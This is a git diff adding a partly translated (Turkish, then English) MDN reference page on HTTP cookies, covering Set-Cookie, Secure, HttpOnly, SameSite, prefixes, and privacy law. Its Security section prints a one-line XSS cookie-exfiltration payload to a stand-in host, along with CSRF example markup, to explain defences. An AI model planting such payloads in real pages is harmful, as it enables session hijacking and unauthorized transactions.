diff options
Diffstat (limited to 'files/tr/web/http/cookies/index.html')
| -rw-r--r-- | files/tr/web/http/cookies/index.html | 251 |
1 files changed, 251 insertions, 0 deletions
diff --git a/files/tr/web/http/cookies/index.html b/files/tr/web/http/cookies/index.html new file mode 100644 index 0000000000..b815de758d --- /dev/null +++ b/files/tr/web/http/cookies/index.html @@ -0,0 +1,251 @@ +--- +title: HTTP çerezleri +slug: Web/HTTP/Cookies +tags: + - HTTP + - Sunucu + - Tarayıcı + - Çerezler +translation_of: Web/HTTP/Cookies +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><span class="seoSummary"><dfn>HTTP çerezi</dfn> (web çerezi, tarayıcı çerezi), bir sunucunun kullanıcının web tarayıcısına gönderdiği küçük bir veri parçasıdır. Tarayıcı bunu saklayabilir ve bir sonraki istekle aynı sunucuya geri gönderebilir.</span> <span class="tlid-translation translation" lang="tr">Genellikle, iki ayrı isteğin aynı tarayıcıdan gelip gelmediğini anlamak için kullanılır - örneğin bir kullanıcının giriş yapmış olarak kalması gibi. HTTP protokolü durumsuz (</span><a href="/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">stateless</a><span class="tlid-translation translation" lang="tr">) olduğu için çerez durum bilgisini hatırlar.</span></p> + +<p>Çerezler temel olarak üç amaç için kullanılır:</p> + +<dl> + <dt>Oturum yönetimi</dt> + <dd><span class="tlid-translation translation" lang="tr">Girişler, alışveriş sepetleri, oyun puanları veya sunucunun hatırlaması gereken diğer şeyler</span></dd> + <dt><span class="tlid-translation translation" lang="tr">Kişiselleştirme</span></dt> + <dd><span class="tlid-translation translation" lang="tr">Kullanıcı tercihleri, temalar ve diğer ayarlar</span></dd> + <dt><span class="tlid-translation translation" lang="tr">Takip etme</span></dt> + <dd><span class="tlid-translation translation" lang="tr">Kullanıcı davranışını kaydetme ve analiz etme</span></dd> +</dl> + +<p><span class="tlid-translation translation" lang="tr">Çerezler eskiden genel istemci tarafında depolama amaçlı kullanılmıştır. O zamanlar istemcide veri depolamanın tek yolu bu olduğundan çerez kullanımı mantıklı idi; ancak günümüzde modern depolama API'lerini tercih etmeleri önerilir. Çerezler her istekle birlikte gönderilir, bu yüzden performansı düşürebilirler (özellikle mobil veri bağlantıları için). İstemci depolaması için kullanılan modern API'ler </span><a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> ve <code>sessionStorage</code>) ve <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a><span class="tlid-translation translation" lang="tr">'dir.</span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="tr">Depolanmış çerezleri (ve bir web sayfasının kullanabileceği diğer depoları) görmek için, Geliştirici Araçları'nda Depolama Denetçisi'ni (</span><a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector</a><span class="tlid-translation translation" lang="tr">) etkinleştirebilir ve depolama ağacından Çerezler'i seçebilirsiniz.</span></p> +</div> + +<h2 id="Çerez_oluşturma"><span class="tlid-translation translation" lang="tr">Çerez oluşturma</span></h2> + +<p><span class="tlid-translation translation" lang="tr">Bir HTTP isteği aldığında, sunucu yanıtla beraber bir {{HTTPHeader ("Set-Cookie")}} başlığı gönderebilir. Bu çerez genellikle tarayıcı tarafından depolanır ve daha sonra aynı sunucuya yapılan isteklerde {{HTTPHeader ("Cookie")}} HTTP başlığı içinde gönderilir. Son kullanma tarihi veya kullanım süresi tanımlanabilir, bu süre bitiminde artık çerez gönderilmez. Buna ilaveten, çerezin gönderildiği yeri sınırlayacak belirli bir alan(domain) ve yol(path) için kısıtlamalar konulabilir.</span></p> + +<h3 id="Set-Cookie_ve_Cookie_başlıkları"><code>Set-Cookie</code> ve <code>Cookie</code> başlıkları</h3> + +<p>The {{HTTPHeader("Set-Cookie")}} HTTP yanıt başlığı,<span class="tlid-translation translation" lang="tr"> sunucudan kullanıcı programa çerezleri gönderir. Basit bir çerez şöyle ayarlanır:</span> :</p> + +<pre class="syntaxbox">Set-Cookie: <cookie-adı>=<cookie-değeri></pre> + +<p><span class="tlid-translation translation" lang="tr">Sunucudan gelen bu başlık istemciye bir çerezi kaydetmesini söyler.</span></p> + +<div class="note"><strong>Not:</strong> <code>Set-Cookie</code><span class="tlid-translation translation" lang="tr"> başlığı çeşitli sunucu tarafı uygulamalarda şöyle kullanılır</span>: + +<ul> + <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li> + <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li> + <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li> + <li><a href="https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li> +</ul> +</div> + +<pre>HTTP/2.0 200 OK +Content-type: text/html +Set-Cookie: skor=75 +Set-Cookie: tema=dark + +[page content]</pre> + +<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored"><span class="tlid-translation translation" lang="tr">Artık tarayıcı sunucuya yaptığı her yeni istekte daha önce kaydetmiş olduğu tüm çerezleri {{HTTPHeader ("Cookie")}} başlığını kullanarak geri gönderir.</span></p> + +<pre>GET /sample_page.html HTTP/2.0 +Host: www.example.org +Cookie: skor=75; tema=dark</pre> + +<h3 id="Oturum_çerezleri">Oturum çerezleri</h3> + +<p><span class="tlid-translation translation" lang="tr">Yukarıda oluşturulan çerez bir <em>oturum çerezidir</em>: istemci kapandığında silinir, çünkü bir </span><code>Expires</code> veya <code>Max-Age</code><span class="tlid-translation translation" lang="tr"> direktifi belirtmemiştir. Ancak web tarayıcıları <strong>oturum canlandırma (</strong></span><strong>session restoring</strong><span class="tlid-translation translation" lang="tr"><strong>)</strong> özelliğini kullanarak çoğu oturum çerezini sanki tarayıcı hiç kapatılmamış gibi kalıcı yapabilirler.</span></p> + +<h3 id="Kalıcı_çerezler">Kalıcı çerezler</h3> + +<p><em>K</em><span class="tlid-translation translation" lang="tr"><em>alıcı çerezler</em>, </span>istemci <span class="tlid-translation translation" lang="tr">kapandığında zaman aşımına uğramak yerine, belirli bir tarihte </span>(<code>Expires</code>)<span class="tlid-translation translation" lang="tr"> veya belirli bir süre sonra </span>(<code>Max-Age</code>)<span class="tlid-translation translation" lang="tr"> kullanımdan kalkar.</span></p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> + +<div class="note"> +<p><strong>Not</strong>: <span class="tlid-translation translation" lang="tr">Son kullanma tarihi belirtildiğinde, saat ve tarih sunucuya göre değil, çerezi tanımlayan istemciye göre ayarlanır.</span></p> +</div> + +<h3 id="Secure_ve_HttpOnly_çerezleri"><code>Secure</code> ve <code>HttpOnly</code> çerezleri</h3> + +<p><span class="tlid-translation translation" lang="tr">Güvenli bir çerez, sunucuya yalnızca HTTPS protokolü üzerinden şifrelenmiş bir istekle gönderilebilir. </span><code>Secure</code><span class="tlid-translation translation" lang="tr"> bayrağı bile olsa, hassas bilgiler <em>asla </em>çerezlerde saklanmamalıdır; çünkü çerezler doğası gereği güvenli değildir ve bu bayrak gerçek bir koruma sağlayamaz. Chrome 52 ve Firefox 52'den itibaren, güvensiz siteler </span>(<code>http:</code>) <code>Secure</code> direktifi <span class="tlid-translation translation" lang="tr">ile çerezleri ayarlayamamaktadır.</span></p> + +<p><span class="tlid-translation translation" lang="tr">Siteler arası komut dosyası çalıştırma ({{Glossary ("XSS")}}) saldırılarını önlemek için, </span><code>HttpOnly</code><span class="tlid-translation translation" lang="tr"> çerezlerine JavaScript'in {{domxref ("Document.cookie")}} API'sinden erişilemez; bu çerezler sadece sunucuya gönderilir. Örneğin, sunucu tarafı oturumlarını devam ettiren çerezlerin JavaScript'ten erşilebilir olması gerekmez, ve bunlarda </span><code>HttpOnly</code> <span class="tlid-translation translation" lang="tr">bayrağı ayarlanmalıdır.</span></p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre> + +<h3 id="Çerezlerin_kapsamı"><span class="tlid-translation translation" lang="tr">Çerezlerin kapsamı</span></h3> + +<p><code>Domain</code> ve <code>Path</code> direktifleri<span class="tlid-translation translation" lang="tr"> çerezin <em>kapsamını </em>yani hangi URL'lere gönderilmesi gerektiğini </span>tanımlar.</p> + +<p><code>Domain</code> <span class="tlid-translation translation" lang="tr">çerezlerin alınmasına izin verilen ana bilgisayarları(host) belirtir. Eğer belirtilmemişse varsayılan değeri <strong>alt alanlar hariç</strong> şu anki belge konumundaki ana bilgisayardır (</span><a href="/en-US/docs/Web/API/Document/location">host of the current document location</a><span class="tlid-translation translation" lang="tr">). Eğer </span><code>Domain</code><span class="tlid-translation translation" lang="tr"> <em>belirtilmişse</em>, alt alanlar her zaman dahil edilir.</span></p> + +<p><span class="tlid-translation translation" lang="tr">Örneğin, </span><code>Domain=mozilla.org</code><span class="tlid-translation translation" lang="tr"> belirtilmişse, çerezler </span><code>developer.mozilla.org</code><span class="tlid-translation translation" lang="tr"> gibi alt alanlarda dahil edilir.</span></p> + +<p><code>Path</code><span class="tlid-translation translation" lang="tr">, </span><code>Cookie</code><span class="tlid-translation translation" lang="tr"> başlığını gönderebilmek için istenen URL'de bulunması gereken URL yolunu gösterir. %X2F ("/") karakteri dizin ayırıcı olarak kabul edilir ve alt dizinler de eşleşir.</span></p> + +<p><span class="tlid-translation translation" lang="tr">Örneğin, </span><code>Path=/docs</code> <span class="tlid-translation translation" lang="tr">belirtilmişse, şu yollar eşleşecektir:</span></p> + +<ul> + <li><code>/docs</code></li> + <li><code>/docs/Web/</code></li> + <li><code>/docs/Web/HTTP</code></li> +</ul> + +<h3 id="SameSite_çerezleri_experimental_inline"><code>SameSite</code> çerezleri {{experimental_inline}}</h3> + +<p><code>SameSite</code> çerezleri,<span class="tlid-translation translation" lang="tr"> sunucuların siteler arası yapılan isteklerde (buradaki </span>{{Glossary("Site")}}<span class="tlid-translation translation" lang="tr"> tescilli etki alanı tarafından tanımlıdır) çerez gönderimini engellemesini sağlar, bu da siteler arası sahtecilik saldırılarına </span>({{Glossary("CSRF")}})<span class="tlid-translation translation" lang="tr"> karşı bir miktar koruma sağlar.</span></p> + +<p><code>SameSite</code><span class="tlid-translation translation" lang="tr"> çerezleri nispeten yenidir ve <a href="/en-US/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility">tüm büyük tarayıcılar tarafından desteklenmektedir</a>.</span></p> + +<p>Örnek:</p> + +<pre>Set-Cookie: key=value; SameSite=Strict</pre> + +<p>SameSite<span class="tlid-translation translation" lang="tr"> özelliği şu iki değerden birini alabilir (büyük/küçük harf duyarlı değil):</span></p> + +<dl> + <dt><code>Strict</code></dt> + <dd><span class="tlid-translation translation" lang="tr">Same-site çerezi bu özelliğe sahipse, tarayıcı yalnızca istek çerezleri oluşturan web sitesinden geldiğinde çerezleri gönderir. Eğer istek şu anki konumun URL’sinden farklı bir URL’den geldiyse, </span><code>Strict</code><span class="tlid-translation translation" lang="tr"> özelliği ile etiketlenen çerezlerin hiçbiri isteğe dahil edilmez.</span></dd> + <dt><code>Lax</code></dt> + <dd>Same-site değeri <span class="tlid-translation translation" lang="tr">Lax olarak ayarlanmışsa, resim veya frame yüklemek için yapılan aramalar gibi siteler arası alt isteklerde same-site çerezleri bekletilir; ancak kullanıcı URL’ye harici bir siteden, örneğin bir bağlantıyı takip ederek gelmişse gönderilir.</span></dd> +</dl> + +<p><span class="tlid-translation translation" lang="tr">Bayrak belirtilmemişse veya tarayıcı tarafından desteklenmiyorsa, varsayılan davranış, çerezleri farklı kaynaklı istekler (cross-origin requests) de dahil her isteğe dahil etmektir.</span></p> + +<h3 id="Cookie_önekleri_experimental_inline">Cookie önekleri {{experimental_inline}}</h3> + +<p>The design of the cookie mechanism is such that a server is unable to confirm a cookie was set on a secure origin or indeed, tell <em>where</em> a cookie was originally set. Recall that a subdomain such as <code>application.example.com</code> can set a cookie that will be sent with requests to <code>example.com</code> or other sub-domains by setting the <em>Domain</em> attribute:</p> + +<pre class="syntaxbox">Set-Cookie: CSRF=e8b667; Secure; Domain=example.com</pre> + +<p>If a vulnerable application is available on a sub-domain, this mechanism can be abused in a <em>session fixation</em> attack. When the user visits a page on the parent domain (or another subdomain), the application may trust the existing value sent in the user's cookie. This could allow an attacker to bypass CSRF protection or hijack a session after the user logs in.</p> + +<p>Alternatively, if the parent domain does not use {{Glossary("HSTS")}} with <code>includeSubdomains</code> set, a user subject to an active MitM (perhaps connected to an open WiFi network) could be served a response with a {{HTTPHeader("Set-Cookie")}} header from a non-existent sub-domain. The end result would be much the same, with the browser storing the illegitimate cookie and sending it to all other pages under <code>example.com</code>.</p> + +<p>Session fixation should primarily be mitigated by regenerating session cookie values when the user authenticates (even if a cookie already exists) and by tieing any CSRF token to the user. As a defence in depth measure, however, it is possible to use <em>cookie prefixes</em> to assert specific facts about the cookie. Two prefixes are available:</p> + +<dl> + <dt><code>__Host-</code></dt> + <dd>If a cookie name has this prefix, it will only be accepted in a {{HTTPHeader("Set-Cookie")}} directive if it is marked <code>Secure</code>, does <em>not</em> include a <code>Domain</code> attribute and was sent from a secure origin. In this way, these cookies can be seen as "domain-locked".</dd> + <dt><code>__Secure-</code></dt> + <dd>If a cookie name has this prefix, it will only be accepted in a {{HTTPHeader("Set-Cookie")}} directive if it is marked <code>Secure</code> and was sent from a secure origin. This is weaker than the <code>__Host-</code> prefix.</dd> +</dl> + +<p>Cookies sent which are not compliant will be rejected by the browser. Note that this ensures that if a sub-domain were to create a cookie with this name, it would be either be confined to the sub-domain or ignored completely. As the application server will only check for a specific cookie name when determining if the user is authenticated or a CSRF token is correct, this effectively acts as a defence measure against session fixation.</p> + +<div class="note"> +<p>On the application server, the web application <em>must</em> check for the full cookie name including the prefix—user agents <em>will not</em> strip the prefix from the cookie before sending it in a request's {{HTTPHeader("Cookie")}} header.</p> +</div> + +<p>For more information about cookie prefixes and the current state of browser support, see the <a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie#Cookie_prefixes">Set-Cookie section</a>.</p> + +<h3 id="JavaScript_access_using_Document.cookie">JavaScript access using <code>Document.cookie</code></h3> + +<p>New cookies can also be created via JavaScript using the {{domxref("Document.cookie")}} property, and if the <code>HttpOnly</code> flag is not set, existing cookies can be accessed from JavaScript as well.</p> + +<pre class="brush: js">document.cookie = "yummy_cookie=choco"; +document.cookie = "tasty_cookie=strawberry"; +console.log(document.cookie); +// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre> + +<p>Cookies created via JavaScript cannot include the <code>HttpOnly</code> flag.</p> + +<p>Please note the security issues in the <a href="/en-US/docs/Web/HTTP/Cookies#Security">Security</a> section below. Cookies available to JavaScript can be stolen through XSS.</p> + +<h2 id="Security">Security</h2> + +<div class="note"> +<p>Information should be stored in cookies with the understanding that all cookie values will be visible to and can be changed by the end-user. Depending on the application, it may be desirable to use an opaque identifier which is looked-up server-side or investigate alternative authentication/confidentiality mechanisms such as JSON Web Tokens.</p> +</div> + +<h3 id="Session_hijacking_and_XSS">Session hijacking and XSS</h3> + +<p>Cookies are often used in web application to identify a user and their authenticated session, so stealing a cookie can lead to hijacking the authenticated user's session. Common ways to steal cookies include Social Engineering or exploiting an {{Glossary("XSS")}} vulnerability in the application.</p> + +<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;</pre> + +<p>The <code>HttpOnly</code> cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript. Exfiltration avenues can be limited by deploying a strict <a href="/en-US/docs/Web/HTTP/CSP">Content-Security-Policy</a>.</p> + +<h3 id="Cross-site_request_forgery_(CSRF)">Cross-site request forgery (CSRF)</h3> + +<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> mentions a good example for {{Glossary("CSRF")}}. In this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money:</p> + +<pre class="brush: html"><img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> + +<p>Now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image. For endpoints that require a POST request, it's possible to programmatically trigger a <code><form></code> submit (perhaps in an invisible <code><iframe></code>) when the page is loaded:</p> + +<pre class="brush: html"><form action="https://bank.example.com/withdraw" method="POST"> + <input type="hidden" name="account" value="bob"> + <input type="hidden" name="amount" value="1000000"> + <input type="hidden" name="for" value="mallory"> +</form> +<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script> +</pre> + +<p>There are a few techniques that should be used to prevent this from happening:</p> + +<ul> + <li>GET endpoints should be idempotent—actions that enact a <em>change </em>and do not simply retrieve data should require sending a POST (or other HTTP method) request. POST endpoints should not interchangeably accept GET requests with parameters in the query string.</li> + <li>A CSRF token should be included in <code><form></code> elements via a hidden input field. This token should be unique per user and stored (for example, in a cookie) such that the server can look up the expected value when the request is sent. For all non-GET requests that have the potential to perform an action, this input field should be compared against the expected value. If there is a mismatch, the request should be aborted. + <ul> + <li>This method of protection relies on an attacker being unable to predict the user's assigned CSRF token. The token should be regenerated on sign-in.</li> + </ul> + </li> + <li>Cookies that are used for sensitive actions (such as session cookies) should have a short lifetime with the SameSite attribute set to <code>Strict</code> or <code>Lax</code>. (See <a href="/en-US/docs/Web/HTTP/Cookies#SameSite_cookies">SameSite cookies</a> above). In supporting browsers, this will have the effect of ensuring that the session cookie is <em>not</em> sent along with cross-site requests and so the request is effectively unauthenticated to the application server.</li> + <li>Both CSRF tokens and SameSite cookies should be deployed. This ensures all browsers are protected and provides protection where SameSite cookies cannot help (such as attacks originating from a separate subdomain).</li> + <li>For more prevention tips, see the <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li> +</ul> + +<h2 id="Tracking_and_privacy">Tracking and privacy</h2> + +<h3 id="Third-party_cookies">Third-party cookies</h3> + +<p>Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a <em>first-party cookie</em>. If the domain is different, it is said to be a <em>third-party cookie</em>. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the <a href="https://www.google.com/policies/technologies/types/">types of cookies used by Google</a>. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> by the <a href="https://www.eff.org/">EFF</a>).</p> + +<p>If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikimedia Foundation's <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a>.</p> + +<h3 id="Do-Not-Track">Do-Not-Track</h3> + +<p>There are no legal or technological requirements for its use, but the {{HTTPHeader("DNT")}} header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the {{HTTPHeader("DNT")}} header for more information.</p> + +<h3 id="EU_cookie_directive">EU cookie directive</h3> + +<p>Requirements for cookies across the EU are defined in <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a> of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.</p> + +<p>In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners (AKA "cookie banners") since then to inform the user about the use of cookies.</p> + +<p>For more, see <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">this Wikipedia section</a> and consult state laws for the latest and most accurate information.</p> + +<h3 id="Zombie_cookies_and_Evercookies">Zombie cookies and Evercookies</h3> + +<p>A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.</p> + +<ul> + <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li> + <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li> +</ul> + +<h2 id="Bakınız">Bakınız</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> + <li>{{domxref("Navigator.cookieEnabled")}}</li> + <li><a href="/tr/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li> + <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie tanımı: RFC 6265</a></li> + <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">Wikipedia'da HTTP çerezi</a></li> +</ul> |